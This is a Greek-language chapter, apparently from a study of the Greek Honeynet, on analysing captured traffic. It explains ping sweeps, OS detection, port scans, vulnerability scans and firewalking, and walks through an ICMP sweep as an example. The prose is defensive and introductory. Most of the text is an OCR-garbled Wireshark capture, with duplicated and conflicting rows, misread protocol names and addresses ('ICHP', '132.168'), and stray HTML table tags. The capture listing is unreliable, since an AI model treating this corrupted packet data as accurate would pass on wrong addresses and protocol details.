Κεφάλαιο 3



Ανάλυση Honeynet δεδομένων

Ανάλυση Honeynet Δεδομένων

Στο κεφάλαιο 2 είδαμε πως με το **honeynet** μπορούμε να συλλέξουμε πληροφορίες σχετικά με όλη την δικτυακή κίνηση από και προς αυτό . Για να βγουν κάποια χρήσιμα συμπεράσματα σχετικά , με τις απειλές που υπάρχουν στο διαδίκτυο και πώς να προστατευθούμε από αυτές, θα πρέπει να γίνουν αναλύσεις πάνω στα στοιχεία που συλλέγουμε. Οι ανακαλύψεις μας θα μας βοηθήσουν να μάθουμε τις τεχνικές και τις μεθόδους των επιτιθεμένων και να προετοιμαστούμε για να τις αντιμετωπίσουμε. Η ανάλυση των δεδομένων είναι μία σύνθετη διαδικασία που απαιτεί αρκετή γνώση και εμπειρία για να βγουν χρήσιμα συμπεράσματα. Σε αυτό το κεφάλαιο θα παρουσιάσουμε τεχνικές σάρωσης (scan) και περιπτώσεις επιθέσεων που έχουν πραγματοποιηθεί στο Ελληνικό **Honeynet**. Οι περιπτώσεις αυτές θα αξιοποιηθούν και σαν παραδείγματα για την χρήση των κυριοτέρων από τα εργαλεία που χρησιμοποιεί ο αναλυτής για να πραγματοποιήσει την ανάλυση του.

Περιπτώσεις Scan – portscans

Οι ποιο συνηθισμένες δραστηριότητες που παρατηρούμε σε ένα **honeynet** είναι το scan. Scan είναι μια τακτική που χρησιμοποιούν οι επιτιθέμενοι για τον εντοπισμό συστημάτων "θύματα". Εκτός από το να εντοπισθεί η ύπαρξη ή όχι των συστημάτων μπορεί να προσδιοριστεί τι λειτουργικό χρησιμοποιούν, ποιες υπηρεσίες τρέχουν (ανάλογα με τις πόρτες που είναι ανοιχτές) και ποιες από αυτές μπορούν να παραβιαστούν από τους επιτιθέμενους. Το scan επιτυγχάνεται με διάφορες μεθόδους κατά τις οποίες στέλνονται κάποια TCP/IP πακέτα, διαφόρων πρωτοκόλλων, προς κάποια συστήματα και ανάλογα με τις απαντήσεις που επιστρέφουν ή δεν επιστρέφουν αυτά τα συστήματα, βγαίνουν τα συμπεράσματα που αναφέραμε.

Οι τύποι Scan που θα παρουσιάσουμε σε αυτό το κεφάλαιο είναι:

• Ping Sweeps

Είναι ένας τύπος scan, με τον οποίο μπορούμε να ελέγξουμε αν υπάρχει κάποιο μηχάνημα με δεδομένη IP και ακόμα περισσότερο, να αποκαλύψουμε την τοπολογία ολόκληρου δικτύου.

OS Detection

Αυτός ο τύπος scan, αποκαλύπτει το λειτουργία σύστημα που χρησιμοποιεί το σύστημα στόχος .

Port Scan

Ο τύπος αυτός του scan ψάχνει για ανοιχτές πόρτες TCP ή UDP, δηλαδή τις παρεχόμενες από το θύμα υπηρεσίες .

• Scan For Vulnerabilities

Αφού εντοπίσουν οι επιτιθέμενοι τις υπηρεσίες που τρέχουν, με αυτά τα scans εξετάζουν αν αυτές έχουν κάποιο vulnerability (σημείο ευπάθειας).

• Firewalking

Είναι η μέθοδος για συλλογή πληροφοριών σχετικά με τις ρυθμίσεις του firewall που προστατεύει κάποιο δίκτυο .

> Ping Sweeps

Ο τύπος αυτού του scan χρησιμοποιείται, όπως είπαμε για να ελέγξουμε αν υπάρχει ένα μηχάνημα με συγκεκριμένη IP διεύθυνση. Η πιο απλή, και χαρακτηριστική μέθοδος είναι η μέθοδος των ICMP sweeps ή ICMP scans.

ICMP scans.

Ας δούμε μέσα από ένα απλό παράδειγμα, πώς μπορεί ο επιτιθέμενος να συλλέξει πληροφορίες με την μέθοδο ICMP sweeps (ICMP ECHO request), η οποία είναι πολύ διαδεδομένη και χρησιμοποιείται συχνά από worms.

Στην εικόνα παρατηρούμε ότι ο επιτιθέμενος στέλνει icmp πακέτα σε διαδοχικές ip's κάποιου δικτύου και από τις απαντήσεις που επιστρέφουν μπορεί να εντοπίσει τα μηχανήματα που υπάρχουν σε αυτό το δίκτυο. Συγκεκριμένα, στην γραμμή 1 της εικόνας 3-1 ο επιτιθέμενος στέλνει ένα icmp echo request πακέτο και λαμβάνει, στην γραμμή 2, ένα icmp replay πακέτο. Αρά υπάρχει ένα ενεργό μηχάνημα σε αυτή την IP. Στην συνέχεια βλέπουμε ότι συνεχίζει να στέλνει icmp echo request πακέτα σε άλλες 13 διαδοχικές ip's ακόμα. Και δεν σταματάει εδώ, το scan συνεχίζεται για όλες τις πιθανές ip's που μπορεί να έχει το υποδίκτυο αυτό (.1 - .255). Όσα reply

πακέτα θα λάβει, τόσα θα είναι και τα ενεργά μηχανήματα. Έτσι ο επιτιθέμενος θα αποκτήσει μια εικόνα του δικτύου .

Image Source Destination Protocol Info 1 07:17:04.113400 127.35.27.25 122.168.0.1 ICHP Echo (ping) request Ymippe 3 07:17:04.113580 217.35.27.25 132.168.0.2 ICHP Echo (ping) request Ymippe 4 07:17:05.014183 217.35.27.25 132.168.0.4 ICHP Echo (ping) request Ymippe 5 07:17:05.014183 217.35.27.25 132.168.0.4 ICHP Echo (ping) request 6 6 07:17:05.014183 217.35.27.25 132.168.0.4 ICHP Echo (ping) request 6 6 07:17:05.014815 217.35.27.25 132.168.0.5 ICHP Echo (ping) request 6 6 07:17:06.46730 217.35.27.25 132.168.0.4 ICHP Echo (ping) request 10 10 07:17:06.46730 217.35.27.25 132.168.0.5 ICHP Echo (ping) request 10 10 07:17:07.03252 217.25.27.25 132.168.0.4 ICHP Echo (ping) request 10				anàta Uaih	l l and and	less la	[477]				
Time Source Destination Protocol Info 1 07:17:04.113400 217.35,27.25 122.168.0.1 10/H Echo (ping) request Yrdgyra 3 07:17:04.113682 217.35,27.25 192.168.0.2 10/H Echo (ping) request Yrdgyra 4 07:17:04.113682 217.35,27.25 192.168.0.3 10/H Echo (ping) request Yrdgyra 5 07:17:05,01418 217.35,27.25 192.168.0.5 10/H Echo (ping) request 6 6 07:17:05,020903 217.35,27.25 192.168.0.5 10/H Echo (ping) request 6 6 07:17:06,493516 217.35,27.25 192.168.0.5 10/H Echo (ping) request 6 10 07:17:06,493512 27.35,27.25 192.168.0.4 10/H Echo (ping) request 10 11 07:17:06,493582 217.35,27.25 192.168.0.5 10/H Echo (ping) request 10 12 07:17:06,493582 217.35,27.25 192.168.0.16 10/H Echo (ping) request 10 <tr< th=""><th></th><th><u>}</u> × @</th><th></th><th>द्ये 🖨 🔛</th><th>100</th><th>美国に</th><th>Ø</th><th></th><th></th><th></th><th></th></tr<>		<u>}</u> × @		द्ये 🖨 🔛	100	美国に	Ø				
1 07:17:04.113440 217.35.27.25 192.168.0.1 10HP Echo (ping) request Ymigyra 3 07:17:04.114582 127.35.27.25 192.168.0.2 10HP Echo (ping) request Ymigyra 3 07:17:05.014189 217.35.27.25 192.168.0.3 10HP Echo (ping) request Ymigyra 5 07:17:05.016118 217.35.27.25 192.168.0.5 10HP Echo (ping) request 6 07:17:05.040489 217.35.27.25 192.168.0.5 10HP Echo (ping) request 6 07:17:05.493400 217.35.27.25 192.168.0.6 10HP Echo (ping) request 6 07:17:06.467530 217.35.27.25 192.168.0.6 10HP Echo (ping) request 6 07:17:06.467530 217.35.27.25 192.168.0.6 10HP Echo (ping) request 10 07:17:06.467530 217.35.27.25 192.168.0.6 10HP Echo (ping) request 10 07:17:06.467530 217.35.27.25 192.168.0.6 10HP Echo (ping) request 12 07:17:07.03282 217.35.27.25 192.168.0.6 10HP Echo (ping) request 12 07:17:07.03282 217.35.27.25 192.168.0.1 10HP Echo (ping) request 12 07:17:07.03282 217.35.27.25 192.168.0.10 10HP Echo (ping) request 13 07:17:07.03282 217.35.27.25 192.168.0.10 10HP Echo (ping) request 14 07:17:07.03282 217.35.27.25 <th>)</th> <th>Time</th> <th>Source</th> <th></th> <th>Destinatio</th> <th>on</th> <th>Protocol</th> <th>Info</th> <th></th> <th></th> <th></th>)	Time	Source		Destinatio	on	Protocol	Info			
2. 07:17:04.114989 192.168.0.1 217.35.27.25 IOHP Echo (ping) reguest 3 07:17:04.115682 217.35.27.25 192.168.0.2 IOHP Echo (ping) request 4 07:17:05.014489 217.35.27.25 192.168.0.3 IOHP Echo (ping) request 5 07:17:05.01489 217.35.27.25 192.168.0.4 IOHP Echo (ping) request 6 07:17:05.02093 217.35.27.25 192.168.0.5 IOHP Echo (ping) request 7 07:17:05.493408 217.35.27.25 192.168.0.6 IOHP Echo (ping) request 9 07:17:06.467530 217.35.27.25 192.168.0.6 IOHP Echo (ping) request 10 07:17:06.467530 217.35.27.25 192.168.0.5 IOHP Echo (ping) request 12 07:17:07.048572 217.35.27.25 192.168.0.5 IOHP Echo (ping) request 12 07:17:07.038204 217.35.27.25 192.168.0.8 IOHP Echo (ping) request 13 07:17:07.038204 217.35.27.25 192.168.0.9 IOHP Echo (ping) request 14 07:17:07.038204 217.35.27.25 192.168.0.11 IOHP Echo (ping) request 14 07:17:07.03838 217.35.27.25 192.168.0.12 IOHP Echo (ping) request 16 07:17:07.038389 217.35.27.25 192.168.0.13 IOHP Ech	C	T 07:17:04.11344	0 217.35.2	7,25	192.168.	.0,1	ICHP	Echo (pin	ig) request		1
3 07:17:04.115882 217.35.27.25 192.168.0.2 ICHP Echo (ping) request 4 07:17:05.014489 217.35.27.25 192.168.0.3 ICHP Echo (ping) request 5 07:17:05.02003 217.35.27.25 192.168.0.4 ICHP Echo (ping) request 6 07:17:05.02003 217.35.27.25 192.168.0.5 ICHP Echo (ping) request 8 07:17:05.433408 217.35.27.25 192.168.0.6 ICHP Echo (ping) request 9 07:17:06.447302 217.35.27.25 192.168.0.6 ICHP Echo (ping) request 10 07:17:06.447302 217.35.27.25 192.168.0.4 ICHP Echo (ping) request 10 07:17:06.447302 217.35.27.25 192.168.0.5 ICHP Echo (ping) request 10 07:17:06.447302 217.35.27.25 192.168.0.5 ICHP Echo (ping) request 11 07:17:06.473367 217.35.27.25 192.168.0.5 ICHP Echo (ping) request 12 07:17:07.026872 217.35.27.25 192.168.0.6 ICHP Echo (ping) request 13 07:17:07.026872 217.35.27.25 192.168.0.6 ICHP Echo (ping) request 14 07:17:07.03836 217.35.27.25 192.168.0.10 ICHP Echo (ping) request 15 07:17:07.03836 217.35.27.25 192.168.0.10 ICHP Echo (ping) request 15 07:17:07.03836 217.35.27.25 192.168.0.10 ICHP Echo (ping) request 17 07:17:07.03836 217.35.27.25 192.168.0.10 ICHP Echo (ping) request 19 07:17:07.03836 217.35.27.25 192.168.0.11 ICHP Echo (ping) request 10 07:17:07.03836 217.35.27.25 192.168.0.12 ICHP Echo (ping) request 10 07:17:07.03836 217.35.27.25 192.168.0.13 ICHP Echo (ping) request 10 07:17:07.03836 217.35.27.25 192.168.0.12 ICHP Echo (ping) request 10 07:17:07.03836 217.35.27.25 192.168.0.13 ICHP Echo (ping) request 10 07:17:07.03836 217.35.27.25 192.168.0.13 ICHP Echo (ping) request 10 07:17:07.03848 217.35.27.25 192.168.0.14 ICHP Echo (ping) request 10 00:00:00:00:00:00:12:17:35.27.25 192.168.0.15 (192.168.0.15) atternet Frotocol. Src Add: 217.35.27.25 192.168.0.14 ICHP Echo (ping) request 10 00:00:00:00:00:00:02:01:07:31.09:23:27.25 10:00:00:00:01:09:06 atternet Frotocol. Src A	L	2 07:17:04.11489	8 192.168	.0.1	217.35.2	7.25	ICHP	Echo (pin	g) reply	τ παργει	
4 07:17:05.014489 217.35.27.25 132.168.0.3 ICHP Echo (ping) request 5 07:17:05.016118 217.35.27.25 132.168.0.4 ICHP Echo (ping) request 6 07:17:05.493408 217.35.27.25 132.168.0.2 ICHP Echo (ping) request 8 07:17:05.493408 217.35.27.25 132.168.0.2 ICHP Echo (ping) request 9 07:17:06.495151 217.35.27.25 132.168.0.3 ICHP Echo (ping) request 10 07:17:06.46730 217.35.27.25 132.168.0.4 ICHP Echo (ping) request 10 07:17:06.46730 217.35.27.25 132.168.0.4 ICHP Echo (ping) request 11 07:17:06.46732 217.35.27.25 132.168.0.6 ICHP Echo (ping) request 12 07:17:06.46732 217.35.27.25 132.168.0.6 ICHP Echo (ping) request 13 07:17:07.026872 217.35.27.25 132.168.0.6 ICHP Echo (ping) request 13 07:17:07.026872 217.35.27.25 132.168.0.8 ICHP Echo (ping) request 14 07:17:07.03806 217.35.27.25 132.168.0.9 ICHP Echo (ping) request 14 07:17:07.03806 217.35.27.25 132.168.0.9 ICHP Echo (ping) request 16 07:17:07.03806 217.35.27.25 132.168.0.10 ICHP Echo (ping) request 16 07:17:07.03806 217.35.27.25 132.168.0.10 ICHP Echo (ping) request 17 07:17:07.03808 217.35.27.25 132.168.0.11 ICHP Echo (ping) request 18 07:17:07.03808 217.35.27.25 132.168.0.12 ICHP Echo (ping) request 19 07:17:07.038389 217.35.27.25 132.168.0.12 ICHP Echo (ping) request 19 07:17:07.038389 217.35.27.25 132.168.0.13 ICHP Echo (ping) request 19 07:17:07.044462 217.35.27.25 132.168.0.13 ICHP Echo (ping) request 10 07:17:07.044462 217.35.27.25 132.168.0.14 ICHP Echo (ping) request 10 07:17:07.04462 217.35.27.25 132.168.0.15 (192.168.0.15)		3 07:17:04,11568	2 217.35.2	7,25	192.168.	.0.2	ICHP	Echo (pin	ig) request		
5 07:17:05.016118 217.35.27.25 192.168.0.4 ICMP Echo (ping) request 6 07:17:05.020903 217.35.27.25 192.168.0.6 ICMP Echo (ping) request 7 07:17:05.493408 217.35.27.25 192.168.0.6 ICMP Echo (ping) request 9 07:17:05.495151 217.35.27.25 192.168.0.6 ICMP Echo (ping) request 10 07:17:06.467530 217.35.27.25 192.168.0.5 ICMP Echo (ping) request 10 07:17:06.467530 217.35.27.25 192.168.0.5 ICMP Echo (ping) request 10 07:17:06.467530 217.35.27.25 192.168.0.7 ICMP Echo (ping) request 12 07:17:07.032862 217.35.27.25 192.168.0.8 ICMP Echo (ping) request 13 07:17:07.032862 217.35.27.25 192.168.0.10 ICMP Echo (ping) request 14 07:17:07.032816 217.35.27.25 192.168.0.11 ICMP Echo (ping) request 15 07:17:07.032816 217.35.27.25 192.168.0.12 ICMP Echo (ping) request 19 07:17:07.038089 217.35.27		4 07:17:05.01446	9 217,35,2	7,25	192.168.	.0,3	ICHP	Echo (pin	ig) request		
6 07:17:05.02003 217.35.27.25 192.168.0.5 ICMP Echo (ping) request 7 07:17:05.493408 217.35.27.25 192.168.0.2 ICMP Echo (ping) request 9 07:17:05.495151 217.35.27.25 192.168.0.3 ICMP Echo (ping) request 10 07:17:06.46730 217.35.27.25 192.168.0.3 ICMP Echo (ping) request 10 07:17:06.467320 217.35.27.25 192.168.0.5 ICMP Echo (ping) request 11 07:17:06.467320 217.35.27.25 192.168.0.5 ICMP Echo (ping) request 12 07:17:06.467320 217.35.27.25 192.168.0.6 ICMP Echo (ping) request 12 07:17:06.467320 217.35.27.25 192.168.0.6 ICMP Echo (ping) request 13 07:17:07.028672 217.35.27.25 192.168.0.8 ICMP Echo (ping) request 14 07:17:07.032204 217.35.27.25 192.168.0.8 ICMP Echo (ping) request 15 07:17:07.032204 217.35.27.25 192.168.0.9 ICMP Echo (ping) request 16 07:17:07.033816 217.35.27.25 192.168.0.10 ICMP Echo (ping) request 16 07:17:07.033816 217.35.27.25 192.168.0.11 ICMP Echo (ping) request 17 07:17:07.038805 217.35.27.25 192.168.0.11 ICMP Echo (ping) request 18 07:17:07.038309 217.35.27.25 192.168.0.13 ICMP Echo (ping) request 19 07:17:07.038309 217.35.27.25 192.168.0.13 ICMP Echo (ping) request 20 07:17:07.038309 217.35.27.25 192.168.0.14 ICMP Echo (ping) request 20 07:17:07.038309 217.35.27.25 192.168.0.13 ICMP Echo (ping) request 19 07:17:07.038309 217.35.27.25 192.168.0.13 ICMP Echo (ping) request 10 07:17:07.038309 217.35.27.25 192.168.0.15 (192.168.0.15 (192.168.0.15) 10 00:00:00:00:00:00:00:00:00:00:00:00:00		5 07:17:05.01611	8 217,35,2	7,25	192.168.	.0.4	ICHP	Echo (pin	ig) request		
7 07:17:05.493408 217.35.27.25 192.168.0.2 ICMP Echo (ping) request 8 07:17:05.493512 217.35.27.25 192.168.0.6 ICMP Echo (ping) request 10 07:17:06.467530 217.35.27.25 192.168.0.3 ICMP Echo (ping) request 11 07:17:06.467532 217.35.27.25 192.168.0.4 ICMP Echo (ping) request 12 07:17:06.467532 217.35.27.25 192.168.0.6 ICMP Echo (ping) request 12 07:17:07.026672 217.35.27.25 192.168.0.6 ICMP Echo (ping) request 13 07:17:07.03266 217.35.27.25 192.168.0.8 ICMP Echo (ping) request 14 07:17:07.03204 217.35.27.25 192.168.0.9 ICMP Echo (ping) request 15 07:17:07.03204 217.35.27.25 192.168.0.9 ICMP Echo (ping) request 16 07:17:07.03204 217.35.27.25 192.168.0.10 ICMP Echo (ping) request 17 07:17:07.032805 217.35.27.25 192.168.0.11 ICMP Echo (ping) request 18 07:17:07.038085 217.35.27.25 192.168.0.11 ICMP Echo (ping) request 19 07:17:07.038085 217.35.27.25 192.168.0.13 ICMP Echo (ping) request 10 07:17:07.038085 217.35.27.25 192.168.0.13 ICMP Echo (ping) request 20 07:17:07.038085 217.35.27.25 192.168.0.14 ICMP Echo (ping) request 20 07:17:07.038085 217.35.27.25 192.168.0.13 ICMP Echo (ping) request 20 07:17:07.038085 217.35.27.25 192.168.0.14 ICMP Echo (ping) request 20 07:17:07.038085 217.35.27.25 192.168.0.13 ICMP Echo (ping) request 20 07:17:07.038895 217.35.27.25 192.168.0.14 ICMP Echo (ping) request 20 07:17:07.038895 217.35.27.25 192.168.0.15 ICMP Echo (ping) request 20 07:17:07.03889 Protocol	1	6 07:17:05.02090	3 217,35.2	7,25	192.168.	.0,5	ICMP	Echo (pin	19) request		
0 07:17:05.495151 217.35.27.25 192.168.0.6 ICHP Echo (ping) request 10 07:17:06.467530 217.35.27.25 192.168.0.3 ICHP Echo (ping) request 11 07:17:06.463520 217.35.27.25 192.168.0.4 ICHP Echo (ping) request 12 07:17:06.463522 217.35.27.25 192.168.0.6 ICHP Echo (ping) request 12 07:17:07.026572 217.35.27.25 192.168.0.7 ICHP Echo (ping) request 13 07:17:07.026572 217.35.27.25 192.168.0.8 ICHP Echo (ping) request 14 07:17:07.03036 217.35.27.25 192.168.0.10 ICHP Echo (ping) request 16 07:17:07.030361 217.35.27.25 192.168.0.11 ICHP Echo (ping) request 19 07:17:07.030381 217.35.27.25 192.168.0.12 ICHP Echo (ping) request 19 07:17:07.030389 217.35.27.25 192.168.0.13 ICHP Echo (ping) request 20 07:17:07.030389 217.35.27.25 192.168.0.13 ICHP Echo (ping) request 19 07:17:07.030389 217.35.27.25 192.168.0.14 ICHP Echo (ping) request 20 07:17:07.030389 217.35.27.25		7 07:17:05.49340	8 217.35.2	7,25	192.168.	.0.2	ICHP	Echo (pin	ig) request		
9 97:17:06,46730 217,35,27,25 192.168.0.3 ICHP Echo (ping) request 10 07:17:06,469142 217,35,27,25 192.168.0.4 ICHP Echo (ping) request 12 07:17:06,473267 217,35,27,25 192.168.0.5 ICHP Echo (ping) request 12 07:17:07,026572 217,35,27,25 192.168.0.6 ICHP Echo (ping) request 13 07:17:07,030326 217,35,27,25 192.168.0.7 ICHP Echo (ping) request 14 07:17:07,030326 217,35,27,25 192.168.0.8 ICHP Echo (ping) request 15 07:17:07,03326 217,35,27,25 192.168.0.9 ICHP Echo (ping) request 16 07:17:07,033313 217,35,27,25 192.168.0.9 ICHP Echo (ping) request 18 07:17:07,033313 217,35,27,25 192.168.0.11 ICHP Echo (ping) request 19 07:17:07,038389 217,35,27,25 192.168.0.12 ICHP Echo (ping) request 19 07:17:07,038389 217,35,27,25 192.168.0.13 ICHP Echo (ping) request 20 07:17:07,038389 217,35,27,25 192.168.0.13 ICHP Echo (ping) request 20 07:17:07,044462 217,35,27,25 192.168.0.14 ICHP Echo (ping) request 20 07:17:07,044462 217,35,27,25 192.168.0.14 ICHP Echo (ping) request 20 07:17:07,044462 217,35,27,25 192.168.0.14 ICHP Echo (ping) request 20 07:17:07.044462 217,35,27,25 192.168.0.14 ICHP Echo (ping) request 20 07:17:07.044462 217,35,27,25 (217,35,27,25), Bst Addr: 192.168.0.15 (192.168.0.15) thermet Protocol, Src Addr: 217,35,27,25 (217,35,27,25), Bst Addr: 192.168.0.15 (192.168.0.15) thermet Control Message Protocol 10 00 0c c0 109 c5 00 e0 b0 2b e3 d2 08 00 45 80		8 07:17:05.49515	1 217.35.2	7.25	192.168.	0.6	ICHP	Echo (pin	ig) request		
10 07:17:06.469142 217.35.27.25 192.168.0.4 ICHP Echo (ping) request 11 07:17:06.473267 217.35.27.25 192.168.0.5 ICHP Echo (ping) request 12 07:17:06.473267 217.35.27.25 192.168.0.6 ICHP Echo (ping) request 13 07:17:07.026672 217.35.27.25 192.168.0.7 ICHP Echo (ping) request 14 07:17:07.030396 217.35.27.25 192.168.0.8 ICHP Echo (ping) request 15 07:17:07.030396 217.35.27.25 192.168.0.9 ICHP Echo (ping) request 16 07:17:07.033816 217.35.27.25 192.168.0.10 ICHP Echo (ping) request 16 07:17:07.033816 217.35.27.25 192.168.0.11 ICHP Echo (ping) request 18 07:17:07.038381 217.35.27.25 192.168.0.12 ICHP Echo (ping) request 18 07:17:07.038383 217.35.27.25 192.168.0.13 ICHP Echo (ping) request 19 07:17:07.038383 217.35.27.25 192.168.0.13 ICHP Echo (ping) request 20 07:17:07.04462 217.35.27.25 192.168.0.14 ICHP Echo (ping) request 19 07:17:07.04462 217.35.27.25 192.168.0.14 ICHP Echo (ping) request 20 07:17:07.04462 217.35.27.25 192.168.0.14 ICHP Echo (ping) request 20 07:17:07.04462 217.35.27.25 (217.35.27.25). Dst Addr: 192.168.0.15 (192.168.0.15) nternet Protocol, Src Addr: 217.35.27.25 (217.35.27.25). Dst Addr: 192.168.0.15 (192.168.0.15) 10 00 00 0c 01 09 of 00 0 b0 2b e3 d2 08 00 45 80		9 07:17:06.46753	0 217.35.2	7.25	192.168.	0.3	ICHP	Echo (pin	ig) request		
11 07:17:06,473267 217,35,27,25 192,168.0,5 1007:17:06,46352 217,35,27,25 192,168.0,6 10HP Echo (ping) request 13 07:17:07,03605 217,35,27,25 192,168.0,8 10HP Echo (ping) request 15 07:17:07,033816 217,35,27,25 192,168.0,9 10HP Echo (ping) request 16 07:17:07,033816 217,35,27,25 192,168.0,10 10HP Echo (ping) request 17 07:17:07,033812 217,35,27,25 192,168.0,10 10HP Echo (ping) request 19 07:17:07,033839 217,35,27,25 192,168.0,12 10HP Echo (ping) request 19 07:17:07,033839 217,35,27,25 192,168.0,13 10HP Echo (ping) request 19 07:17:07,038389 217,35,27,25 192,168.0,14 10HP Echo (ping) request 20 07:17:07,044462 217,35,27,25 192,168.0,14 10HP Echo (ping) request 20 07:17:07.044462 217,35,27,25 192,168.0,14 10HP Echo (ping) request 10 07:17:07.044462 217,35,27,25 192,168.0,14 10HP Echo (ping) request 10 00:00 0c 01:09:c6 10 0:00 0c 01:09:c6 00 e0 b0 2b e3 d2 08 00 45 80 	1	0 07:17:06.46914	2 217.35.2	7.25	192.168.	.0.4	ICHP	Echo (pin	ig) request		
12 07:17:06,486352 217.35.27.25 192.168.0.6 1007:17:07,026572 217.35.27.25 192.168.0.7 101P 14 07:17:07,03206 217.35.27.25 192.168.0.8 101P 15 07:17:07,032016 217.35.27.25 192.168.0.10 101P 15 07:17:07,035313 217.35.27.25 192.168.0.11 101P 10 07:17:07,035005 217.35.27.25 192.168.0.11 101P 10 07:17:07,035005 217.35.27.25 192.168.0.13 101P 10 07:17:07,036005 217.35.27.25 192.168.0.13 101P 10 07:17:07,036005 217.35.27.25 192.168.0.14 101P 10 07:17:07,036005 217.35.27.25 192.168.0.14 101P 10 07:17:07,036005 217.35.27.25 192.168.0.14 101P 10 07:17:07,036005 217.35.27.25 192.168.0.14 101P 10 07:17:07,036005 217.35.27.25 192.168.0.14 101P 10 07:17:07.036005 217.35.27.25 192.168.0.14 101P 10 07:17:07.036005 217.35.27.25 192.168.0.14 101P 10 07:17:07.044462 217.35.27.25 192.168.0.14 101P 10 00:00 0c 01:09:c6 109:05:00:2b:03:2d2.05:00:00:00:00:01:03:c6 10 01:00:00:00:00:00:00:00:00:00:00:00:00:0	1	1 07:17:06.47326	7 217,35.2	7,25	192.168.	.0.5	ICHP	Echo (pin	ig) request		
13 07:17:07.026672 217.35.27.25 192.168.0.7 ICMP Echo (ping) request 14 07:17:07.03036 217.35.27.25 192.168.0.3 ICMP Echo (ping) request 15 07:17:07.030204 217.35.27.25 192.168.0.3 ICMP Echo (ping) request 16 07:17:07.030204 217.35.27.25 192.168.0.10 ICMP Echo (ping) request 16 07:17:07.03805 217.35.27.25 192.168.0.11 ICMP Echo (ping) request 18 07:17:07.038389 217.35.27.25 192.168.0.12 ICMP Echo (ping) request 19 07:17:07.038389 217.35.27.25 192.168.0.12 ICMP Echo (ping) request 20 07:17:07.038389 217.35.27.25 192.168.0.13 ICMP Echo (ping) request 19 07:17:07.034462 217.35.27.25 192.168.0.14 ICMP Echo (ping) request 19 07:17:07.034462 217.35.27.25 192.168.0.14 ICMP Echo (ping) request 10 07:17:07.044462 217.35.27.25 192.168.0.14 ICMP Echo (ping) request 10 07:00:00:00:00:100:20:30:6	1	2 07:17:06,48635	2 217,35,2	7,25	192.168.	0.6	ICMP	Echo (pin	ig) request		
14 07:17:07.030396 217.35.27.25 192.168.0.8 ICMP Echo (ping) request 15 07:17:07.033204 217.35.27.25 192.168.0.9 ICMP Echo (ping) request 16 07:17:07.033313 217.35.27.25 192.168.0.10 ICMP Echo (ping) request 17 07:17:07.033313 217.35.27.25 192.168.0.11 ICMP Echo (ping) request 18 07:17:07.033839 217.35.27.25 192.168.0.12 ICMP Echo (ping) request 19 07:17:07.038389 217.35.27.25 192.168.0.13 ICMP Echo (ping) request 20 07:17:07.044462 217.35.27.25 192.168.0.14 ICMP Echo (ping) request 20 07:17:07.044462 217.35.27.25 192.168.0.14 ICMP Echo (ping) request 20 07:17:07.044462 217.35.27.25 192.168.0.14 ICMP Echo (ping) request 19 00:00:00:00:00:00:00:00:00:00:00:00:00:	1	3 07:17:07.02667	2 217,35.2	7,25	192.168.	.0.7	ICMP	Echo (pin	ıg) request		
15 07:17:07.032204 217.35.27.25 192.168.0.9 ICHP Echo (ping) request 16 07:17:07.033816 217.35.27.25 192.168.0.10 ICHP Echo (ping) request 17 07:17:07.035813 217.35.27.25 192.168.0.11 ICHP Echo (ping) request 18 07:17:07.036805 217.35.27.25 192.168.0.12 ICHP Echo (ping) request 19 07:17:07.038839 217.35.27.25 192.168.0.13 ICHP Echo (ping) request 20 07:17:07.044462 217.35.27.25 192.168.0.14 ICHP Echo (ping) request 20 07:17:07.044462 217.35.27.25 192.168.0.14 ICHP Echo (ping) request rame 21 (74 bytes on wire, 74 bytes captured) thernet II, Src: 00:e0:b0:2b:e3:d2, Dst: 00:00:00:00:01:09:c6 thernet Protocol, Src Addr: 217.35.27.25 (217.35.27.25), Dst Addr: 192.168.0.15 (192.168.0.15) nternet Control Message Protocol	1	4 07:17:07.03039	6 217.35.2	7.25	192.168.	.0.8	ICMP	Echo (pin	ig) request		
16 07:17:07.033816 217.35.27.25 192.168.0.10 ICHP Echo (ping) request 17 07:17:07.035313 217.35.27.25 192.168.0.11 ICHP Echo (ping) request 18 07:17:07.036805 217.35.27.25 192.168.0.12 ICHP Echo (ping) request 19 07:17:07.038389 217.35.27.25 192.168.0.13 ICHP Echo (ping) request 20 07:17:07.044462 217.35.27.25 192.168.0.14 ICHP Echo (ping) request 10 01:00:00:00:2b:e3:d2 Dst: 00:00:00:00:01:09:c6 1 1 10:01:02:05:01:01:02:02 Not:00:00:02:01:02:05:01 1 1 10:00:00:02:01:01:02:06 1 1 1 10:00:00:02:01:01:02:06 1 1 1 10:00:00:02:01:01:02:06 1 1 1	1	5 07:17:07.03220	4 217.35.2	7.25	192.168.	0.9	ICHP	Echo (pin	ig) request		
17 07:17:07.035313 217.35.27.25 192.168.0.11 ICHP Echo (ping) request 18 07:17:07.036805 217.35.27.25 192.168.0.12 ICHP Echo (ping) request 19 07:17:07.038389 217.35.27.25 192.168.0.13 ICHP Echo (ping) request 20 07:17:07.038389 217.35.27.25 192.168.0.14 ICNP Echo (ping) request 20 07:17:07.044462 217.35.27.25 192.168.0.14 ICNP Echo (ping) request 10 07:17:07.044462 217.35.27.25 192.168.0.14 ICNP Echo (ping) request 10 07:17:07.044462 217.35.27.25 192.168.0.14 ICNP Echo (ping) request 11 Src: 00:e0:b0:2b:e3:d2, Dst: 00:00:0c:01:09:c6 00:00:0c:01:09:c6 00:00:0c:01:09:c6 nternet Protocol, Src Addr: 217.35.27.25 (217.35.27.25), Dst Addr: 192.168.0.15 (192.168.0.15) 0192.168.0.15 10 00 00 0c 01 09 c6 00 e0 b0 2b e3 d2 08 00 45 80	1	6 07:17:07.03381	6 217.35.2	7.25	192.168.	0.10	ICHP	Echo (pin	ig) request		
